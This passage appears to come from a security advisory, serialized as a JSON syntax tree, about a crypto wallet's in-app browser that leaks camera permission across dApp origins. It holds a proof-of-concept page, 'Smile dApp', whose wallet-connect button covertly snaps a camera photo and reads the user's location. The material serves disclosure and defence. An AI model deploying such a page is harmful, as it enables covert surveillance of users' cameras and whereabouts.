issue, we assume the following preconditions:",{"type":23,"tag":84,"props":156189,"children":156190},{},[156191,156196,156201],{"type":23,"tag":88,"props":156192,"children":156193},{},[156194],{"type":28,"value":156195},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":88,"props":156197,"children":156198},{},[156199],{"type":28,"value":156200},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":88,"props":156202,"children":156203},{},[156204],{"type":28,"value":156205},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":304,"props":156207,"children":156209},{"className":49272,"code":156208,"language":31630,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[156210],{"type":23,"tag":94,"props":156211,"children":156212},{"__ignoreMap":7},[156213,156233,156248,156264,156294,156317,156332,156347,156379,156425,156461,156489,156504,156550,156596,156604,156672,156700,156715,156723,156730,156750,156810,156851,156880,156921,156928,156957,156995,157032,157039,157046,157079,157100,157107,157169,157225,157261,157307,157315,157322,157365,157398,157523,157556,157563,157570,157577,157589,157604,157619],{"type":23,"tag":314,"props":156214,"children":156215},{"class":316,"line":317},[156216,156220,156224,156229],{"type":23,"tag":314,"props":156217,"children":156218},{"style":31623},[156219],{"type":28,"value":33474},{"type":23,"tag":314,"props":156221,"children":156222},{"style":321},[156223],{"type":28,"value":33479},{"type":23,"tag":314,"props":156225,"children":156226},{"style":360},[156227],{"type":28,"value":156228}," html",{"type":23,"tag":314,"props":156230,"children":156231},{"style":31623},[156232],{"type":28,"value":5247},{"type":23,"tag":314,"props":156234,"children":156235},{"class":316,"line":370},[156236,156240,156244],{"type":23,"tag":314,"props":156237,"children":156238},{"style":31623},[156239],{"type":28,"value":5060},{"type":23,"tag":314,"props":156241,"children":156242},{"style":321},[156243],{"type":28,"value":31630},{"type":23,"tag":314,"props":156245,"children":156246},{"style":31623},[156247],{"type":28,"value":5247},{"type":23,"tag":314,"props":156249,"children":156250},{"class":316,"line":380},[156251,156255,156260],{"type":23,"tag":314,"props":156252,"children":156253},{"style":31623},[156254],{"type":28,"value":5060},{"type":23,"tag":314,"props":156256,"children":156257},{"style":321},[156258],{"type":28,"value":156259},"head",{"type":23,"tag":314,"props":156261,"children":156262},{"style":31623},[156263],{"type":28,"value":5247},{"type":23,"tag":314,"props":156265,"children":156266},{"class":316,"line":1091},[156267,156271,156276,156281,156285,156290],{"type":23,"tag":314,"props":156268,"children":156269},{"style":31623},[156270],{"type":28,"value":31693},{"type":23,"tag":314,"props":156272,"children":156273},{"style":321},[156274],{"type":28,"value":156275},"meta",{"type":23,"tag":314,"props":156277,"children":156278},{"style":360},[156279],{"type":28,"value":156280}," charset",{"type":23,"tag":314,"props":156282,"children":156283},{"style":338},[156284],{"type":28,"value":1102},{"type":23,"tag":314,"props":156286,"children":156287},{"style":1245},[156288],{"type":28,"value":156289},"\"utf-8\"",{"type":23,"tag":314,"props":156291,"children":156292},{"style":31623},[156293],{"type":28,"value":5247},{"type":23,"tag":314,"props":156295,"children":156296},{"class":316,"line":1141},[156297,156301,156305,156309,156313],{"type":23,"tag":314,"props":156298,"children":156299},{"style":31623},[156300],{"type":28,"value":31693},{"type":23,"tag":314,"props":156302,"children":156303},{"style":321},[156304],{"type":28,"value":33552},{"type":23,"tag":314,"props":156306,"children":156307},{"style":31623},[156308],{"type":28,"value":49316},{"type":23,"tag":314,"props":156310,"children":156311},{"style":321},[156312],{"type":28,"value":33552},{"type":23,"tag":314,"props":156314,"children":156315},{"style":31623},[156316],{"type":28,"value":5247},{"type":23,"tag":314,"props":156318,"children":156319},{"class":316,"line":1173},[156320,156324,156328],{"type":23,"tag":314,"props":156321,"children":156322},{"style":31623},[156323],{"type":28,"value":31677},{"type":23,"tag":314,"props":156325,"children":156326},{"style":321},[156327],{"type":28,"value":156259},{"type":23,"tag":314,"props":156329,"children":156330},{"style":31623},[156331],{"type":28,"value":5247},{"type":23,"tag":314,"props":156333,"children":156334},{"class":316,"line":1208},[156335,156339,156343],{"type":23,"tag":314,"props":156336,"children":156337},{"style":31623},[156338],{"type":28,"value":5060},{"type":23,"tag":314,"props":156340,"children":156341},{"style":321},[156342],{"type":28,"value":31647},{"type":23,"tag":314,"props":156344,"children":156345},{"style":31623},[156346],{"type":28,"value":5247},{"type":23,"tag":314,"props":156348,"children":156349},{"class":316,"line":1216},[156350,156354,156358,156362,156367,156371,156375],{"type":23,"tag":314,"props":156351,"children":156352},{"style":31623},[156353],{"type":28,"value":31693},{"type":23,"tag":314,"props":156355,"children":156356},{"style":321},[156357],{"type":28,"value":61},{"type":23,"tag":314,"props":156359,"children":156360},{"style":31623},[156361],{"type":28,"value":9710},{"type":23,"tag":314,"props":156363,"children":156364},{"style":338},[156365],{"type":28,"value":156366},"Smile dApp :)",{"type":23,"tag":314,"props":156368,"children":156369},{"style":31623},[156370],{"type":28,"value":31677},{"type":23,"tag":314,"props":156372,"children":156373},{"style":321},[156374],{"type":28,"value":61},{"type":23,"tag":314,"props":156376,"children":156377},{"style":31623},[156378],{"type":28,"value":5247},{"type":23,"tag":314,"props":156380,"children":156381},{"class":316,"line":1301},[156382,156386,156391,156395,156399,156404,156408,156413,156417,156421],{"type":23,"tag":314,"props":156383,"children":156384},{"style":31623},[156385],{"type":28,"value":31693},{"type":23,"tag":314,"props":156387,"children":156388},{"style":321},[156389],{"type":28,"value":156390},"button",{"type":23,"tag":314,"props":156392,"children":156393},{"style":360},[156394],{"type":28,"value":31703},{"type":23,"tag":314,"props":156396,"children":156397},{"style":338},[156398],{"type":28,"value":1102},{"type":23,"tag":314,"props":156400,"children":156401},{"style":1245},[156402],{"type":28,"value":156403},"\"connect\"",{"type":23,"tag":314,"props":156405,"children":156406},{"style":31623},[156407],{"type":28,"value":9710},{"type":23,"tag":314,"props":156409,"children":156410},{"style":338},[156411],{"type":28,"value":156412},"Connect your wallet!",{"type":23,"tag":314,"props":156414,"children":156415},{"style":31623},[156416],{"type":28,"value":31677},{"type":23,"tag":314,"props":156418,"children":156419},{"style":321},[156420],{"type":28,"value":156390},{"type":23,"tag":314,"props":156422,"children":156423},{"style":31623},[156424],{"type":28,"value":5247},{"type":23,"tag":314,"props":156426,"children":156427},{"class":316,"line":1343},[156428,156432,156436,156440,156444,156449,156453,156457],{"type":23,"tag":314,"props":156429,"children":156430},{"style":31623},[156431],{"type":28,"value":31693},{"type":23,"tag":314,"props":156433,"children":156434},{"style":321},[156435],{"type":28,"value":304},{"type":23,"tag":314,"props":156437,"children":156438},{"style":360},[156439],{"type":28,"value":31703},{"type":23,"tag":314,"props":156441,"children":156442},{"style":338},[156443],{"type":28,"value":1102},{"type":23,"tag":314,"props":156445,"children":156446},{"style":1245},[156447],{"type":28,"value":156448},"\"gps\"",{"type":23,"tag":314,"props":156450,"children":156451},{"style":31623},[156452],{"type":28,"value":49316},{"type":23,"tag":314,"props":156454,"children":156455},{"style":321},[156456],{"type":28,"value":304},{"type":23,"tag":314,"props":156458,"children":156459},{"style":31623},[156460],{"type":28,"value":5247},{"type":23,"tag":314,"props":156462,"children":156463},{"class":316,"line":1351},[156464,156468,156472,156476,156480,156485],{"type":23,"tag":314,"props":156465,"children":156466},{"style":31623},[156467],{"type":28,"value":31693},{"type":23,"tag":314,"props":156469,"children":156470},{"style":321},[156471],{"type":28,"value":197},{"type":23,"tag":314,"props":156473,"children":156474},{"style":360},[156475],{"type":28,"value":31703},{"type":23,"tag":314,"props":156477,"children":156478},{"style":338},[156479],{"type":28,"value":1102},{"type":23,"tag":314,"props":156481,"children":156482},{"style":1245},[156483],{"type":28,"value":156484},"\"pic\"",{"type":23,"tag":314,"props":156486,"children":156487},{"style":31623},[156488],{"type":28,"value":5247},{"type":23,"tag":314,"props":156490,"children":156491},{"class":316,"line":1387},[156492,156496,156500],{"type":23,"tag":314,"props":156493,"children":156494},{"style":31623},[156495],{"type":28,"value":31693},{"type":23,"tag":314,"props":156497,"children":156498},{"style":321},[156499],{"type":28,"value":31663},{"type":23,"tag":314,"props":156501,"children":156502},{"style":31623},[156503],{"type":28,"value":5247},{"type":23,"tag":314,"props":156505,"children":156506},{"class":316,"line":1422},[156507,156512,156516,156521,156525,156530,156534,156538,156542,156546],{"type":23,"tag":314,"props":156508,"children":156509},{"style":360},[156510],{"type":28,"value":156511}," window",{"type":23,"tag":314,"props":156513,"children":156514},{"style":354},[156515],{"type":28,"value":282},{"type":23,"tag":314,"props":156517,"children":156518},{"style":332},[156519],{"type":28,"value":156520},"addEventListener",{"type":23,"tag":314,"props":156522,"children":156523},{"style":354},[156524],{"type":28,"value":341},{"type":23,"tag":314,"props":156526,"children":156527},{"style":1245},[156528],{"type":28,"value":156529},"'unhandledrejection'",{"type":23,"tag":314,"props":156531,"children":156532},{"style":354},[156533],{"type":28,"value":778},{"type":23,"tag":314,"props":156535,"children":156536},{"style":321},[156537],{"type":28,"value":30625},{"type":23,"tag":314,"props":156539,"children":156540},{"style":354},[156541],{"type":28,"value":2324},{"type":23,"tag":314,"props":156543,"children":156544},{"style":360},[156545],{"type":28,"value":81380},{"type":23,"tag":314,"props":156547,"children":156548},{"style":354},[156549],{"type":28,"value":367},{"type":23,"tag":314,"props":156551,"children":156552},{"class":316,"line":1430},[156553,156558,156562,156567,156571,156575,156579,156584,156588,156592],{"type":23,"tag":314,"props":156554,"children":156555},{"style":332},[156556],{"type":28,"value":156557}," alert",{"type":23,"tag":314,"props":156559,"children":156560},{"style":354},[156561],{"type":28,"value":341},{"type":23,"tag":314,"props":156563,"children":156564},{"style":1245},[156565],{"type":28,"value":156566},"`Unhandled Promise Rejection: ",{"type":23,"tag":314,"props":156568,"children":156569},{"style":321},[156570],{"type":28,"value":33357},{"type":23,"tag":314,"props":156572,"children":156573},{"style":360},[156574],{"type":28,"value":81380},{"type":23,"tag":314,"props":156576,"children":156577},{"style":354},[156578],{"type":28,"value":282},{"type":23,"tag":314,"props":156580,"children":156581},{"style":360},[156582],{"type":28,"value":156583},"reason",{"type":23,"tag":314,"props":156585,"children":156586},{"style":321},[156587],{"type":28,"value":33389},{"type":23,"tag":314,"props":156589,"children":156590},{"style":1245},[156591],{"type":28,"value":9630},{"type":23,"tag":314,"props":156593,"children":156594},{"style":354},[156595],{"type":28,"value":1025},{"type":23,"tag":314,"props":156597,"children":156598},{"class":316,"line":1452},[156599],{"type":23,"tag":314,"props":156600,"children":156601},{"style":354},[156602],{"type":28,"value":156603}," });\n",{"type":23,"tag":314,"props":156605,"children":156606},{"class":316,"line":1497},[156607,156611,156615,156619,156623,156627,156631,156635,156639,156643,156647,156651,156655,156660,156664,156668],{"type":23,"tag":314,"props":156608,"children":156609},{"style":360},[156610],{"type":28,"value":156511},{"type":23,"tag":314,"props":156612,"children":156613},{"style":354},[156614],{"type":28,"value":282},{"type":23,"tag":314,"props":156616,"children":156617},{"style":332},[156618],{"type":28,"value":31936},{"type":23,"tag":314,"props":156620,"children":156621},{"style":354},[156622],{"type":28,"value":32159},{"type":23,"tag":314,"props":156624,"children":156625},{"style":321},[156626],{"type":28,"value":30625},{"type":23,"tag":314,"props":156628,"children":156629},{"style":354},[156630],{"type":28,"value":2324},{"type":23,"tag":314,"props":156632,"children":156633},{"style":360},[156634],{"type":28,"value":57197},{"type":23,"tag":314,"props":156636,"children":156637},{"style":354},[156638],{"type":28,"value":778},{"type":23,"tag":314,"props":156640,"children":156641},{"style":360},[156642],{"type":28,"value":69630},{"type":23,"tag":314,"props":156644,"children":156645},{"style":354},[156646],{"type":28,"value":778},{"type":23,"tag":314,"props":156648,"children":156649},{"style":360},[156650],{"type":28,"value":316},{"type":23,"tag":314,"props":156652,"children":156653},{"style":354},[156654],{"type":28,"value":778},{"type":23,"tag":314,"props":156656,"children":156657},{"style":360},[156658],{"type":28,"value":156659},"col",{"type":23,"tag":314,"props":156661,"children":156662},{"style":354},[156663],{"type":28,"value":778},{"type":23,"tag":314,"props":156665,"children":156666},{"style":360},[156667],{"type":28,"value":14106},{"type":23,"tag":314,"props":156669,"children":156670},{"style":354},[156671],{"type":28,"value":367},{"type":23,"tag":314,"props":156673,"children":156674},{"class":316,"line":1539},[156675,156679,156683,156688,156692,156696],{"type":23,"tag":314,"props":156676,"children":156677},{"style":332},[156678],{"type":28,"value":156557},{"type":23,"tag":314,"props":156680,"children":156681},{"style":354},[156682],{"type":28,"value":341},{"type":23,"tag":314,"props":156684,"children":156685},{"style":1245},[156686],{"type":28,"value":156687},"'onerror: '",{"type":23,"tag":314,"props":156689,"children":156690},{"style":354},[156691],{"type":28,"value":33945},{"type":23,"tag":314,"props":156693,"children":156694},{"style":360},[156695],{"type":28,"value":57197},{"type":23,"tag":314,"props":156697,"children":156698},{"style":354},[156699],{"type":28,"value":1025},{"type":23,"tag":314,"props":156701,"children":156702},{"class":316,"line":1548},[156703,156707,156711],{"type":23,"tag":314,"props":156704,"children":156705},{"style":2284},[156706],{"type":28,"value":78328},{"type":23,"tag":314,"props":156708,"children":156709},{"style":321},[156710],{"type":28,"value":8309},{"type":23,"tag":314,"props":156712,"children":156713},{"style":354},[156714],{"type":28,"value":2278},{"type":23,"tag":314,"props":156716,"children":156717},{"class":316,"line":1584},[156718],{"type":23,"tag":314,"props":156719,"children":156720},{"style":354},[156721],{"type":28,"value":156722}," };\n",{"type":23,"tag":314,"props":156724,"children":156725},{"class":316,"line":1617},[156726],{"type":23,"tag":314,"props":156727,"children":156728},{"emptyLinePlaceholder":18},[156729],{"type":28,"value":1088},{"type":23,"tag":314,"props":156731,"children":156732},{"class":316,"line":1625},[156733,156738,156742,156746],{"type":23,"tag":314,"props":156734,"children":156735},{"style":321},[156736],{"type":28,"value":156737}," async",{"type":23,"tag":314,"props":156739,"children":156740},{"style":321},[156741],{"type":28,"value":37463},{"type":23,"tag":314,"props":156743,"children":156744},{"style":332},[156745],{"type":28,"value":90032},{"type":23,"tag":314,"props":156747,"children":156748},{"style":354},[156749],{"type":28,"value":14977},{"type":23,"tag":314,"props":156751,"children":156752},{"class":316,"line":1660},[156753,156757,156762,156766,156770,156775,156779,156784,156788,156793,156797,156802,156806],{"type":23,"tag":314,"props":156754,"children":156755},{"style":321},[156756],{"type":28,"value":150284},{"type":23,"tag":314,"props":156758,"children":156759},{"style":360},[156760],{"type":28,"value":156761}," stream",{"type":23,"tag":314,"props":156763,"children":156764},{"style":354},[156765],{"type":28,"value":32159},{"type":23,"tag":314,"props":156767,"children":156768},{"style":2284},[156769],{"type":28,"value":32164},{"type":23,"tag":314,"props":156771,"children":156772},{"style":360},[156773],{"type":28,"value":156774}," navigator",{"type":23,"tag":314,"props":156776,"children":156777},{"style":354},[156778],{"type":28,"value":282},{"type":23,"tag":314,"props":156780,"children":156781},{"style":360},[156782],{"type":28,"value":156783},"mediaDevices",{"type":23,"tag":314,"props":156785,"children":156786},{"style":354},[156787],{"type":28,"value":282},{"type":23,"tag":314,"props":156789,"children":156790},{"style":332},[156791],{"type":28,"value":156792},"getUserMedia",{"type":23,"tag":314,"props":156794,"children":156795},{"style":354},[156796],{"type":28,"value":30746},{"type":23,"tag":314,"props":156798,"children":156799},{"style":360},[156800],{"type":28,"value":156801},"video:",{"type":23,"tag":314,"props":156803,"children":156804},{"style":321},[156805],{"type":28,"value":11717},{"type":23,"tag":314,"props":156807,"children":156808},{"style":354},[156809],{"type":28,"value":38082},{"type":23,"tag":314,"props":156811,"children":156812},{"class":316,"line":1708},[156813,156817,156822,156826,156830,156834,156838,156842,156847],{"type":23,"tag":314,"props":156814,"children":156815},{"style":321},[156816],{"type":28,"value":150284},{"type":23,"tag":314,"props":156818,"children":156819},{"style":360},[156820],{"type":28,"value":156821}," video",{"type":23,"tag":314,"props":156823,"children":156824},{"style":354},[156825],{"type":28,"value":32159},{"type":23,"tag":314,"props":156827,"children":156828},{"style":360},[156829],{"type":28,"value":31955},{"type":23,"tag":314,"props":156831,"children":156832},{"style":354},[156833],{"type":28,"value":282},{"type":23,"tag":314,"props":156835,"children":156836},{"style":332},[156837],{"type":28,"value":35970},{"type":23,"tag":314,"props":156839,"children":156840},{"style":354},[156841],{"type":28,"value":341},{"type":23,"tag":314,"props":156843,"children":156844},{"style":1245},[156845],{"type":28,"value":156846},"\"video\"",{"type":23,"tag":314,"props":156848,"children":156849},{"style":354},[156850],{"type":28,"value":1025},{"type":23,"tag":314,"props":156852,"children":156853},{"class":316,"line":1743},[156854,156859,156863,156868,156872,156876],{"type":23,"tag":314,"props":156855,"children":156856},{"style":360},[156857],{"type":28,"value":156858}," video",{"type":23,"tag":314,"props":156860,"children":156861},{"style":354},[156862],{"type":28,"value":282},{"type":23,"tag":314,"props":156864,"children":156865},{"style":360},[156866],{"type":28,"value":156867},"srcObject",{"type":23,"tag":314,"props":156869,"children":156870},{"style":354},[156871],{"type":28,"value":32159},{"type":23,"tag":314,"props":156873,"children":156874},{"style":360},[156875],{"type":28,"value":35510},{"type":23,"tag":314,"props":156877,"children":156878},{"style":354},[156879],{"type":28,"value":2278},{"type":23,"tag":314,"props":156881,"children":156882},{"class":316,"line":1751},[156883,156887,156892,156896,156900,156904,156908,156912,156917],{"type":23,"tag":314,"props":156884,"children":156885},{"style":321},[156886],{"type":28,"value":150284},{"type":23,"tag":314,"props":156888,"children":156889},{"style":360},[156890],{"type":28,"value":156891}," canvas",{"type":23,"tag":314,"props":156893,"children":156894},{"style":354},[156895],{"type":28,"value":32159},{"type":23,"tag":314,"props":156897,"children":156898},{"style":360},[156899],{"type":28,"value":31955},{"type":23,"tag":314,"props":156901,"children":156902},{"style":354},[156903],{"type":28,"value":282},{"type":23,"tag":314,"props":156905,"children":156906},{"style":332},[156907],{"type":28,"value":35970},{"type":23,"tag":314,"props":156909,"children":156910},{"style":354},[156911],{"type":28,"value":341},{"type":23,"tag":314,"props":156913,"children":156914},{"style":1245},[156915],{"type":28,"value":156916},"\"canvas\"",{"type":23,"tag":314,"props":156918,"children":156919},{"style":354},[156920],{"type":28,"value":1025},{"type":23,"tag":314,"props":156922,"children":156923},{"class":316,"line":1791},[156924],{"type":23,"tag":314,"props":156925,"children":156926},{"emptyLinePlaceholder":18},[156927],{"type":28,"value":1088},{"type":23,"tag":314,"props":156929,"children":156930},{"class":316,"line":1805},[156931,156935,156939,156944,156949,156953],{"type":23,"tag":314,"props":156932,"children":156933},{"style":360},[156934],{"type":28,"value":156858},{"type":23,"tag":314,"props":156936,"children":156937},{"style":354},[156938],{"type":28,"value":282},{"type":23,"tag":314,"props":156940,"children":156941},{"style":332},[156942],{"type":28,"value":156943},"onloadedmetadata",{"type":23,"tag":314,"props":156945,"children":156946},{"style":354},[156947],{"type":28,"value":156948}," = () ",{"type":23,"tag":314,"props":156950,"children":156951},{"style":321},[156952],{"type":28,"value":14064},{"type":23,"tag":314,"props":156954,"children":156955},{"style":354},[156956],{"type":28,"value":1449},{"type":23,"tag":314,"props":156958,"children":156959},{"class":316,"line":1818},[156960,156965,156969,156974,156978,156982,156986,156991],{"type":23,"tag":314,"props":156961,"children":156962},{"style":360},[156963],{"type":28,"value":156964}," canvas",{"type":23,"tag":314,"props":156966,"children":156967},{"style":354},[156968],{"type":28,"value":282},{"type":23,"tag":314,"props":156970,"children":156971},{"style":360},[156972],{"type":28,"value":156973},"width",{"type":23,"tag":314,"props":156975,"children":156976},{"style":354},[156977],{"type":28,"value":32159},{"type":23,"tag":314,"props":156979,"children":156980},{"style":360},[156981],{"type":28,"value":131108},{"type":23,"tag":314,"props":156983,"children":156984},{"style":354},[156985],{"type":28,"value":282},{"type":23,"tag":314,"props":156987,"children":156988},{"style":360},[156989],{"type":28,"value":156990},"videoWidth",{"type":23,"tag":314,"props":156992,"children":156993},{"style":354},[156994],{"type":28,"value":2278},{"type":23,"tag":314,"props":156996,"children":156997},{"class":316,"line":1873},[156998,157002,157006,157011,157015,157019,157023,157028],{"type":23,"tag":314,"props":156999,"children":157000},{"style":360},[157001],{"type":28,"value":156964},{"type":23,"tag":314,"props":157003,"children":157004},{"style":354},[157005],{"type":28,"value":282},{"type":23,"tag":314,"props":157007,"children":157008},{"style":360},[157009],{"type":28,"value":157010},"height",{"type":23,"tag":314,"props":157012,"children":157013},{"style":354},[157014],{"type":28,"value":32159},{"type":23,"tag":314,"props":157016,"children":157017},{"style":360},[157018],{"type":28,"value":131108},{"type":23,"tag":314,"props":157020,"children":157021},{"style":354},[157022],{"type":28,"value":282},{"type":23,"tag":314,"props":157024,"children":157025},{"style":360},[157026],{"type":28,"value":157027},"videoHeight",{"type":23,"tag":314,"props":157029,"children":157030},{"style":354},[157031],{"type":28,"value":2278},{"type":23,"tag":314,"props":157033,"children":157034},{"class":316,"line":1891},[157035],{"type":23,"tag":314,"props":157036,"children":157037},{"style":354},[157038],{"type":28,"value":47324},{"type":23,"tag":314,"props":157040,"children":157041},{"class":316,"line":1899},[157042],{"type":23,"tag":314,"props":157043,"children":157044},{"emptyLinePlaceholder":18},[157045],{"type":28,"value":1088},{"type":23,"tag":314,"props":157047,"children":157048},{"class":316,"line":1944},[157049,157054,157058,157063,157067,157071,157075],{"type":23,"tag":314,"props":157050,"children":157051},{"style":360},[157052],{"type":28,"value":157053}," connect",{"type":23,"tag":314,"props":157055,"children":157056},{"style":354},[157057],{"type":28,"value":282},{"type":23,"tag":314,"props":157059,"children":157060},{"style":332},[157061],{"type":28,"value":157062},"onclick",{"type":23,"tag":314,"props":157064,"children":157065},{"style":354},[157066],{"type":28,"value":32159},{"type":23,"tag":314,"props":157068,"children":157069},{"style":360},[157070],{"type":28,"value":50705},{"type":23,"tag":314,"props":157072,"children":157073},{"style":321},[157074],{"type":28,"value":26999},{"type":23,"tag":314,"props":157076,"children":157077},{"style":354},[157078],{"type":28,"value":1449},{"type":23,"tag":314,"props":157080,"children":157081},{"class":316,"line":2008},[157082,157087,157091,157096],{"type":23,"tag":314,"props":157083,"children":157084},{"style":360},[157085],{"type":28,"value":157086}," video",{"type":23,"tag":314,"props":157088,"children":157089},{"style":354},[157090],{"type":28,"value":282},{"type":23,"tag":314,"props":157092,"children":157093},{"style":332},[157094],{"type":28,"value":157095},"play",{"type":23,"tag":314,"props":157097,"children":157098},{"style":354},[157099],{"type":28,"value":2926},{"type":23,"tag":314,"props":157101,"children":157102},{"class":316,"line":2043},[157103],{"type":23,"tag":314,"props":157104,"children":157105},{"emptyLinePlaceholder":18},[157106],{"type":28,"value":1088},{"type":23,"tag":314,"props":157108,"children":157109},{"class":316,"line":22803},[157110,157114,157118,157123,157127,157132,157136,157141,157145,157149,157153,157157,157161,157165],{"type":23,"tag":314,"props":157111,"children":157112},{"style":360},[157113],{"type":28,"value":156964},{"type":23,"tag":314,"props":157115,"children":157116},{"style":354},[157117],{"type":28,"value":282},{"type":23,"tag":314,"props":157119,"children":157120},{"style":332},[157121],{"type":28,"value":157122},"getContext",{"type":23,"tag":314,"props":157124,"children":157125},{"style":354},[157126],{"type":28,"value":341},{"type":23,"tag":314,"props":157128,"children":157129},{"style":1245},[157130],{"type":28,"value":157131},"\"2d\"",{"type":23,"tag":314,"props":157133,"children":157134},{"style":354},[157135],{"type":28,"value":419},{"type":23,"tag":314,"props":157137,"children":157138},{"style":332},[157139],{"type":28,"value":157140},"drawImage",{"type":23,"tag":314,"props":157142,"children":157143},{"style":354},[157144],{"type":28,"value":341},{"type":23,"tag":314,"props":157146,"children":157147},{"style":360},[157148],{"type":28,"value":131108},{"type":23,"tag":314,"props":157150,"children":157151},{"style":354},[157152],{"type":28,"value":778},{"type":23,"tag":314,"props":157154,"children":157155},{"style":1054},[157156],{"type":28,"value":1600},{"type":23,"tag":314,"props":157158,"children":157159},{"style":354},[157160],{"type":28,"value":778},{"type":23,"tag":314,"props":157162,"children":157163},{"style":1054},[157164],{"type":28,"value":1600},{"type":23,"tag":314,"props":157166,"children":157167},{"style":354},[157168],{"type":28,"value":1025},{"type":23,"tag":314,"props":157170,"children":157171},{"class":316,"line":22845},[157172,157177,157181,157186,157190,157195,157199,157203,157207,157212,157216,157221],{"type":23,"tag":314,"props":157173,"children":157174},{"style":360},[157175],{"type":28,"value":157176}," stream",{"type":23,"tag":314,"props":157178,"children":157179},{"style":354},[157180],{"type":28,"value":282},{"type":23,"tag":314,"props":157182,"children":157183},{"style":332},[157184],{"type":28,"value":157185},"getTracks",{"type":23,"tag":314,"props":157187,"children":157188},{"style":354},[157189],{"type":28,"value":29417},{"type":23,"tag":314,"props":157191,"children":157192},{"style":332},[157193],{"type":28,"value":157194},"forEach",{"type":23,"tag":314,"props":157196,"children":157197},{"style":354},[157198],{"type":28,"value":341},{"type":23,"tag":314,"props":157200,"children":157201},{"style":360},[157202],{"type":28,"value":20967},{"type":23,"tag":314,"props":157204,"children":157205},{"style":321},[157206],{"type":28,"value":26999},{"type":23,"tag":314,"props":157208,"children":157209},{"style":360},[157210],{"type":28,"value":157211}," t",{"type":23,"tag":314,"props":157213,"children":157214},{"style":354},[157215],{"type":28,"value":282},{"type":23,"tag":314,"props":157217,"children":157218},{"style":332},[157219],{"type":28,"value":157220},"stop",{"type":23,"tag":314,"props":157222,"children":157223},{"style":354},[157224],{"type":28,"value":14667},{"type":23,"tag":314,"props":157226,"children":157227},{"class":316,"line":22878},[157228,157232,157236,157241,157245,157249,157253,157257],{"type":23,"tag":314,"props":157229,"children":157230},{"style":360},[157231],{"type":28,"value":156964},{"type":23,"tag":314,"props":157233,"children":157234},{"style":354},[157235],{"type":28,"value":282},{"type":23,"tag":314,"props":157237,"children":157238},{"style":332},[157239],{"type":28,"value":157240},"toBlob",{"type":23,"tag":314,"props":157242,"children":157243},{"style":354},[157244],{"type":28,"value":30771},{"type":23,"tag":314,"props":157246,"children":157247},{"style":360},[157248],{"type":28,"value":32196},{"type":23,"tag":314,"props":157250,"children":157251},{"style":354},[157252],{"type":28,"value":2343},{"type":23,"tag":314,"props":157254,"children":157255},{"style":321},[157256],{"type":28,"value":14064},{"type":23,"tag":314,"props":157258,"children":157259},{"style":354},[157260],{"type":28,"value":1449},{"type":23,"tag":314,"props":157262,"children":157263},{"class":316,"line":22886},[157264,157269,157273,157277,157281,157286,157290,157295,157299,157303],{"type":23,"tag":314,"props":157265,"children":157266},{"style":360},[157267],{"type":28,"value":157268}," pic",{"type":23,"tag":314,"props":157270,"children":157271},{"style":354},[157272],{"type":28,"value":282},{"type":23,"tag":314,"props":157274,"children":157275},{"style":360},[157276],{"type":28,"value":31917},{"type":23,"tag":314,"props":157278,"children":157279},{"style":354},[157280],{"type":28,"value":32159},{"type":23,"tag":314,"props":157282,"children":157283},{"style":360},[157284],{"type":28,"value":157285},"URL",{"type":23,"tag":314,"props":157287,"children":157288},{"style":354},[157289],{"type":28,"value":282},{"type":23,"tag":314,"props":157291,"children":157292},{"style":332},[157293],{"type":28,"value":157294},"createObjectURL",{"type":23,"tag":314,"props":157296,"children":157297},{"style":354},[157298],{"type":28,"value":341},{"type":23,"tag":314,"props":157300,"children":157301},{"style":360},[157302],{"type":28,"value":32196},{"type":23,"tag":314,"props":157304,"children":157305},{"style":354},[157306],{"type":28,"value":1025},{"type":23,"tag":314,"props":157308,"children":157309},{"class":316,"line":22894},[157310],{"type":23,"tag":314,"props":157311,"children":157312},{"style":354},[157313],{"type":28,"value":157314}," });\n",{"type":23,"tag":314,"props":157316,"children":157317},{"class":316,"line":22903},[157318],{"type":23,"tag":314,"props":157319,"children":157320},{"emptyLinePlaceholder":18},[157321],{"type":28,"value":1088},{"type":23,"tag":314,"props":157323,"children":157324},{"class":316,"line":22979},[157325,157330,157334,157339,157343,157348,157352,157357,157361],{"type":23,"tag":314,"props":157326,"children":157327},{"style":360},[157328],{"type":28,"value":157329}," 